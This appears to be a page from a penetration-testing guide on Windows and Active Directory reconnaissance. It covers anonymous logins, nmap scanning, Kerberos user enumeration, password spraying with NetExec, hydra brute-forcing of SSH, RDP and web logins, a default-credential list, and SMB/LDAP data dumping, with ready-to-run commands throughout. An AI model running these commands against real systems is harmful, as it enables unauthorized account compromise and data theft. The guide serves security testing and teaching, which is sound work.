Scanning/Spraying
Finding your attack surface and testing credentials
While working on the engagement, you will often keep finding new information that you should keep track of. Here is a logical way of structuring the information you find like IPs, usernames, and passwords. The rest of the commands in this section will use these files in the examples:
ips.txt
: All valid IP addresses that you can reach. For example, whenever you find a new internal network, you can add more IPs to this list.users.txt
: Every valid username or domain user. Many tools accept such a list for trying some action on every user.emails.txt
: Similar to theusers.txt
file, but with an@domain.tld
suffix to be used in tools requiring the domain per user, or for sending mass-phishing emails.passwords.txt
: Every password you find from any source. If a password has a matching username, make sure it is put on the same line as inusers.txt
, this way some tools like NetExec can use--no-bruteforce
to try usernames with their corresponding password only.
It may also be useful to export certain environment variables to use in commands, in order to make them more generic. Variables like $DC
(domain controller) or $DOMAIN
(domain of the Active Directory) will be used in commands in the following sections. Set these in Linux using export
:
export DC=10.10.10.10
export DOMAIN=domain.tld
Anonymous logins
Some protocols with some settings in Windows allow for a special "guest" user to log in without requiring real credentials. These types of authentication often grant you very low privileges, but they may be enough to do something interesting, or at least learn more about the environment.
Here are some commands that test for the existence of these types of binds:
# SMB (port 139,445)
smbclient -L //$IP -U % # Empty username and password
smbclient -L //$IP -U " "%" " # Space as username and password
smbclient -L //$IP -U guest% # 'guest' username and empty password
# LDAP (port 389,636)
ldapsearch -h $IP 389 -x -s base -b '' "(objectClass=*)" "*" +
# # FTP (port 21)
$ ftp $IP
220 Rebex FTP Server ready.
Name ($IP:user): anonymous
331 Password required for 'anonymous'.
Password: [email protected]
230 User 'anonymous' logged in.
>
Scanning & Networking
See Nmap for a guide on scanning IP addresses for open ports. On Windows, here is a very minimal scan that can be applied to large ranges or slow connections:
nmap -sT -n -Pn -sV -sC -vv --open -p21,22,25,53,80,88,135,139,389,443,445,464,636,1433,2222,3000,3268,3269,3306,3389,5000,5985,8000,8080 -iL ips.txt -oN nmap/external.txt
When having gotten access to some machine, it may be inside some internal network not visible from the outside. Check this using ipconfig
:
ipconfig /all
To be able to access other machines in this newly discovered network from your own attacking machine, a useful tool is Ligolo-ng, which can tunnel the traffic like a VPN.
Spraying
Enumerating usernames
Kerberos user enumeration
When all you have is access to the domain controller, but no valid credentials yet, you can use Kerberos (port 88) to test if a given username is valid. The following tool does this using a wordlist:
kerbrute userenum --dc $DC -d $DOMAIN /list/names.txt
As a wordlist, kerberos_enum_userlists
has some lists in the 'a.smith' and 'asmith' format as this is common for organizations. Another list for only the most common (ordered) first names is here:
LDAP query
When you have valid domain credentials, a simpler option than brute-force is to simply query LDAP (port 389) on the domain controller, to make sure you have all existing users:
$ nxc ldap $DC -u $USERNAME -p $PASSWORD --users
...
LDAP $DC 389 DC01 Administrator Built-in account for administering the computer/domain
LDAP $DC 389 DC01 Guest Built-in account for guest access to the computer/domain
LDAP $DC 389 DC01 krbtgt Key Distribution Center Service Account
LDAP $DC 389 DC01 user1
LDAP $DC 389 DC01 user2
LDAP $DC 389 DC01 user3
LDAP contains much more domain information, not just usernames. BloodHound can do this.
Spray passwords
To try one (or a few) passwords on many users, there are different protocols you can use. In the end, they all query the same data, but some protocols might be unavailable due to various reasons. The most common is SMB (port 139,445), which is mainly used for sharing files over the network, but also different mechanisms like printers or some internal communication.
Important to note is that Active Directory has rate limiting in the form of blocking accounts after too many failed login attempts. In the following example, after 5 failed attempts on the account, it will be blocked for 30 minutes. Only after that period will you be able to try again.
PS C:\> net accounts
Force user logoff how long after time expires?: Never
Minimum password age (days): 1
Maximum password age (days): 42
Minimum password length: 7
Length of password history maintained: 24
Lockout threshold: 5
Lockout duration (minutes): 30
Lockout observation window (minutes): 30
Computer role: WORKSTATION
You can see this behavior in action in the following example:
$ nxc smb $IP -u $USERNAME -p /list/rockyou.txt
SMB $IP 445 DC01 [-] $DOMAIN\$USERNAME:123456 STATUS_LOGON_FAILURE
SMB $IP 445 DC01 [-] $DOMAIN\$USERNAME:12345 STATUS_LOGON_FAILURE
SMB $IP 445 DC01 [-] $DOMAIN\$USERNAME:123456789 STATUS_LOGON_FAILURE
SMB $IP 445 DC01 [-] $DOMAIN\$USERNAME:password STATUS_LOGON_FAILURE
SMB $IP 445 DC01 [-] $DOMAIN\$USERNAME:iloveyou STATUS_LOGON_FAILURE
SMB $IP 445 DC01 [-] $DOMAIN\$USERNAME:princess STATUS_ACCOUNT_LOCKED_OUT
SMB $IP 445 DC01 [-] $DOMAIN\$USERNAME:1234567 STATUS_ACCOUNT_LOCKED_OUT
The tool used here is NetExec, a fork of CrackMapExec after it has been archived. This tool is very useful for spraying various protocols with credentials, and then performing actions with found logins.
To spray a password for all users you have, simply provide a domain-joined IP with SMB open, and use the -u
and -p
options from which it will try all combinations:
# SMB (port 139,445)
nxc smb $IP -u users.txt -p $PASSWORD
nxc smb $IP -u users.txt -p passwords.txt
# LDAP (port 389,636)
nxc ldap $IP -u users.txt -p $PASSWORD
nxc ldap $IP -u users.txt -p passwords.txt
...
Brute Forcing
In Spray passwords you read how most Windows protocols have a lockout policy. RDP and SSH however don't have this by default and may allow long brute-force attacks that can guess more complex passwords. The best tool for this job is hydra
:
Similar to NetExec, it implements various protocols. But this tool is specially built for brute force attacks at a large scale. It does not have further exploitation capabilities, only finding credentials.
For the username, password, and IP you can choose either a static value, or try everything from a list.
hydra -l $USERNAME -p $PASSWORD -M ips.txt ssh # Try password on all IPs (SSH)
hydra -l $USERNAME -P /list/passwords.txt ssh://$IP # Guess password for one user
hydra -L /list/usernames.txt -p $PASSWORD ssh://$IP # Guess username for a password
hydra -L /list/usernames.txt -P /list/passwords.txt ssh://$IP # Guess user and pass
hydra -C /list/credentials.txt -M ips.txt ssh # Try specific credentials on all IPs
To brute force RDP, or another supported protocol, simply replace ssh
with rdp
:
hydra -l $USERNAME -p $PASSWORD -M ips.txt rdp # Try password on all IPs (RDP)
Another common task is trying common credentials on website login pages. If the login page looks like a common piece of software, your first step should be looking up the "default credentials" in a search engine. Otherwise, some of the credentials below are common defaults:
admin:admin
admin:password
admin:root
root:root
root:password
root:admin
guest:guest
user:password
When these don't work, or you can't find any, you can try to brute force it a little. Hydra also has built-in options for this for simple HTTP forms, but for more complex flows try out ffuf (details inFind Content). When things are simple, like a Basic Auth prompt, hydra suffices:

This type of prompt comes from the following response header:
WWW-Authenticate: Basic realm="..."
When you fill out this form the browser gives you, you will send the following header with all future requests to that origin. This contains your username and password in base64 separated by a colon (:
). For example, this decodes to username:password
:
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
Hydra can automatically encode and send data like this if you provide the http-get
option:
hydra -l admin -P /list/passwords.txt $IP http-get /path/to/login
Finally, the last thing it can do with websites is automatically submit POST forms. When a custom login page is made this is by far the most common way of authenticating, which has custom parameters and URLs that will verify the credentials. To automate such a login a little bit of analysis is required to find out how a form is built, easily done by intercepting the request in a proxy like Burp Suite.
POST /login.php HTTP/1.1
Host: example.com
Content-Length: 27
...
Content-Type: application/x-www-form-urlencoded
Connection: close
username=user&password=pass
Things to look out for here are the path, and the body itself with your input in it. These can all be put into hydra in a sort of template format, where it will fill in the username and password every time. The response to this request is also good to take note of, like "Login failed". Hydra can use this to determine if a login is successful or not. For example:
hydra -l admin -P /list/passwords.txt $IP http-post-form "/login.php:username=^USER^&password=^PASS^:Login failed"
You'll notice the big string at the end that separates the path, the body with ^USER^
and ^PASS^
template variables, and lastly a failed login response to look for.
Enumerating access
When you have found credentials, they may have access to various different places with different permissions. Try using nxc
to spray them as shown above while looking at the amount of access. For SMB, for example, you can list the shares you may access on each server with READ or WRITE perms:
nxc smb ips.txt -u $USERNAME -p $PASSWORD --shares
Enumeration
Some various network protocols that you can gain information from, like users or the domain structure.
SMB (139, 445)
SMB (Server Message Block) is a protocol used mainly for sharing files on a local network. One server has multiple shares that contain a filesystem with directories and files. List shares on a server using smbclient -L
and then connect to any one of them to read/write files:
smbclient -L //10.10.10.10 -U $USERNAME --password $PASSWORD
# Alternative using nxc:
nxc smb 10.10.10.10 -u $USERNAME -p $PASSWORD --shares
Then when you have found a share, you can use commands like ls
and cd
to traverse the filesystem, and get <FILENAME>
to download anything. If you have write permissions, the put
command also lets you upload files.
To download all files recursively and look at them locally, use the following 4 commands:
$ mkdir smb && cd smb
$ smbclient //10.10.10.10/share -U $USERNAME --password $PASSWORD
mask ""
recurse ON
prompt OFF
mget *
RPC (139)
Some enumeration with SMB like above, as well as with RPC can be done automatically using enum4linux. This tool just needs an IP address and will try to anonymously get as much information from the domain as possible, like users but also including attributes like descriptions which may contain sensitive information. Always try to run this against machines:
enum4linux $IP
RPC connections can also be manually abused using the rpcclient
tool:
rpcclient
LDAP (389, 636)
A simple tool that uses LDAP access to dump as much information about the domain as possible. This can help craft more attack ideas and get you an idea of what users, groups, and permissions exist. This writes HTML, JSON, and grepable files with the results in your current directory. Especially the HTML files give a nice table with links to view your results.
ldapdomaindump -u '$DOMAIN\$USERNAME' -p $PASSWORD $IP
Note: This tool might not require authentication to be used, as LDAP could be misconfigured for unauthenticated access. Use the -u
option empty to use an anonymous session
Another great tool for enumeration through LDAP is BloodHound, which is focused on relations between nodes to find privilege escalation paths in a GUI.
Last updated